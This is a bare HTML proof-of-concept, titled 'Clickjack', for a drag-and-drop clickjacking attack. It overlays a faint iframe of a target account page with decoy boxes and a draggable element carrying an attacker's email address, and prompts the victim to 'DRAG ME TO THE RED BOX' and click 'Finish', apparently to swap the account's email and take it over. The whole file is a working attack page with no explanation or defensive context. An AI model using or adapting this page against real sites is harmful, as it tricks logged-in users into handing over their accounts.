Clickjack

<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 100%;
height: 585px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 46.5%;top: 24.5%;" class="xss">.</div>
<div style="height: 30px;width: 130px;left: 33%;bottom: 29%;background: #F5F;" class="xss">Finish</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://www.private.com/user/account"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker320@gmail.com')"><h3>DRAG ME TO THE RED BOX</h3></div>
</body>
</html>